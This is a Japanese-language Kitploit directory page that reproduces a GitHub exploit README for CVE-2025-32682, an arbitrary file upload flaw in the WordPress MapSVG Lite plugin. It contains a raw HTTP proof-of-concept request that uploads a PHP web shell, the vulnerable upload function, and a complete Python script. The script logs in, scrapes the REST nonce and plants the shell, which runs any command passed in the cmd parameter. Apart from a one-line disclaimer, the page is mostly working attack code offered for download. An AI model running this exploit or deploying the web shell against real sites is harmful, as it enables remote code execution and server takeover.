Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-32682 — WordPress MapSVG Lite Plugin <= 8.5.34 は、任意のファイルアップロードに対して脆弱です。 | Kitploit
ツール/GitHubGitHub/nxploited/cve-2025-32682
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubnxploited/cve-2025-32682

CVE-2025-32682

WordPress MapSVG Lite Plugin <= 8.5.34 は、任意のファイルアップロードに対して脆弱です。

リポジトリを見る
111年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🐚 CVE-2025-32682 - MapSVG Lite <= 8.5.34 における任意ファイルアップロード

📌 プラグインの詳細

  • 名前: MapSVG Lite
  • 影響を受けるバージョン: <= 8.5.34
  • 脆弱性の種類: 任意ファイルアップロード
  • CVE ID: CVE-2025-32682
  • 公開日: 2025年4月15日
  • CVSSスコア: 9.9(緊急)

💥 脆弱性の概要

WordPress用プラグイン MapSVG Lite は、REST APIエンドポイントを介したSVGファイルのアップロード時にファイルタイプを検証しません:

root@kitploit:~
/wp-json/mapsvg/v1/svgfile

これにより、認証された攻撃者(Subscriber+)がSVGを装った任意のPHPファイルをアップロードでき、リモートコード実行(RCE)につながります。


📎 概念実証(POC) - 生のHTTPリクエスト

root@kitploit:~
POST /wp-json/mapsvg/v1/svgfile HTTP/1.1

Host: 192.168.100.74:888

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config

X-WP-Nonce: 4febb3ff50

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------155355665422604566641836454807

Content-Length: 298

Origin: http://192.168.100.74:888

Connection: keep-alive

Cookie:


-----------------------------155355665422604566641836454807

Content-Disposition: form-data; name="file"; filename="nxploit.php"

Content-Type: text/xml



<!--?php  
if(isset($_GET['cmd'])) {  
    system($_GET['cmd']);  
}  
?-->  

-----------------------------155355665422604566641836454807--


🔍 脆弱なコードスニペット

mapsvg-lite-interactive-vector-maps.php ファイルからの以下の脆弱なコードスニペットは、問題を示しています:

root@kitploit:~
public function uploadSVG() {
    $file = $_FILES['file'];
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
    return new \WP_REST_Response(["file" => $upload], 200);
}
  • ❌ ファイルタイプチェックなし
  • ❌ 拡張子の検証なし
  • ❌ ファイル内容のサニタイズなし

この関数は、RESTエンドポイント /wp-json/mapsvg/v1/svgfile に直接マッピングされています。


🧠 悪用の要件

  • ✅ 認証が必要(Subscriber+)
  • 🛑 ファイルタイプまたはコンテンツの検証なし

🐍 POC 2 - Python エクスプロイトスクリプト

root@kitploit:~
# By: Nxploited | Khaled Alenazi
import requests
import argparse
import re

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-un", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()

login_url = f"{args.url}/wp-login.php"
resp = session.post(login_url, data={
    'log': args.username,
    'pwd': args.password,
    'rememberme': 'forever',
    'wp-submit': 'Log In'
}, headers={"User-Agent": user_agent})

if 'wordpress_logged_in' not in str(session.cookies):
    print("[-] Login failed")
    exit()
print("[+] Logged in successfully.")

nonce_page = session.get(f"{args.url}/wp-admin/admin.php?page=mapsvg-config")
match = re.search(r'"nonce":"([a-f0-9]+)"', nonce_page.text)
if not match:
    print("[-] Failed to extract nonce")
    exit()
nonce = match.group(1)
print(f"[+] Found nonce: {nonce}")

upload_url = f"{args.url}/wp-json/mapsvg/v1/svgfile"
print(f"[+] Uploading file to: {upload_url}")

payload = {'file': ('nxploit.php', '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>', 'application/x-php')}
headers = {
    'X-WP-Nonce': nonce,
    'Referer': f"{args.url}/wp-admin/admin.php?page=mapsvg-config",
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': user_agent
}

res = session.post(upload_url, files=payload, headers=headers)

try:
    json_res = res.json()
    print("[+] Server response (formatted):")
    print("File Name    :", json_res['file']['name'])
    print("URL          :", json_res['file']['relativeUrl'])
    print("Path Short   :", json_res['file']['pathShort'])
    print("Server Path  :", json_res['file']['serverPath'])
    print("\nExploited By : Nxploited | Khaled Alenazi")
except:
    print("[-] Upload failed or invalid response.")

☠️ 影響

この脆弱性を悪用すると、攻撃者は .php Webシェルを /wp-content/uploads/mapsvg/ ディレクトリにアップロードし、サーバー上で任意のコマンドを実行できます。


👤 作成者:

Nxploited | Khaled Alenazi


⚠️ 免責事項

このプロジェクトは教育目的のみです。許可なくシステムに不正アクセスすることは違法です。

ツールをダウンロード